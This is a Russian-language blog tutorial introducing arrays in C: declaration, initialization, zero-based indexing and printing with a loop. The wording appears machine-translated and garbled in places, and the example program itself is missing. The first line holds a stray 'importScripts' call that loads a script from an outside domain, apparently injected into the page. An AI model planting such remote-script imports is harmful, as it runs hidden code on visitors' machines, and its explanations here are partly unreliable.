google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

Массивы в Си - Часть 1



В последних двух уроках я рассказал вам о директивах препроцессора . Сегодня я начну давать вам несколько предварительных уроков по программированию на Си. И эти уроки начинаются с массивов. Так что в этом уроке я расскажу вам о массивах в C и их использовании. Давайте начнем с одного основного вопроса.

Что такое массивы в C?

Массив представляет собой набор данных аналогичного типа. Помните, что подобное означает, что оно относится к одному типу данных. Массив обычно используется для хранения множества значений, принадлежащих одному типу данных.

Почему Массив используется?

До сих пор у нас есть несколько очень простых программ. Предположим, когда нам нужно составить программу для хранения информации о отметках одного учащегося. Тогда мы можем легко сделать это, используя простые переменные. Но когда мы попросили сохранить данные о 100 учениках, это было бы очень утомительным занятием. Мы должны взять много переменных для хранения этих значений. И это не будет эффективным способом.
В этих случаях массив используется довольно легко. Это дает возможность хранить все значения в одном массиве с одним именем. Таким образом, мы можем легко позвонить и получить данные с одним именем.

Декларация массива

int x [10];
В приведенном выше коде int является типом данных массива. «X» - это имя переменной (имя массива в нашем случае). «[10]» - это что-то новое. Ну, это определяет размер массива. «10» означает, что в этом массиве будут храниться 10 целочисленных значений. Квадратные скобки показывают, что это массив. Мы также можем создать массив любого другого типа данных. Еще несколько примеров приведены ниже.
Примеры char a [5]; float b [15];



Инициализация массива

Мы объявили массив. Теперь пришло время инициализировать его или сохранить в нем некоторые значения. Мы можем сделать это во время его объявления.
int x [5] = {1,5,3,5,6};
или же
int x [] = {5,6,3,5,5};
В первом утверждении я инициализировал массив с пятью значениями. И во втором утверждении я инициализировал его, не определяя размер массива. Помните, когда мы объявляем и инициализируем массив одновременно, упоминание размера массива необязательно.

Доступ к элементам массива

Подстрочный индекс используется для доступа к конкретному элементу позиции внутри массива. Индекс также известен как индекс.
Помните, что индекс или индекс всегда начинается с 0 и заканчивается на n-1, здесь n - максимальный размер массива. Если существует массив размером 10, то его индекс будет от 0 до 9.
Например, если мы хотим получить доступ к четвертому элементу массива x, который мы объявили выше, это можно сделать следующим образом.
int a = x [3];
Смотрите здесь для доступа к четвертому элементу, мы используем индекс 3, потому что индекс или индекс начинается с 0. Точно так же для доступа к пятому элементу мы будем использовать индекс 4, т.е. x [4].

Печать данных массива

Сейчас самое время построить нашу первую программу, которая будет печатать все значения массива.
Выход
Массивы в Си - Часть 1
Пояснение Программа почти не требует пояснений. Но запишите несколько моментов.


  • В начале я объявил целочисленный массив x и инициализировал его некоторыми значениями.
  • Теперь я использовал цикл for для печати значений внутри него.
  • Помните, индекс массива всегда начинается с 0. Поэтому я инициализировал переменную i с 0.
  • Теперь я использовал x [i] в ​​функции printf () для печати каждого значения на экране.

Комментариев нет:

Отправить комментарий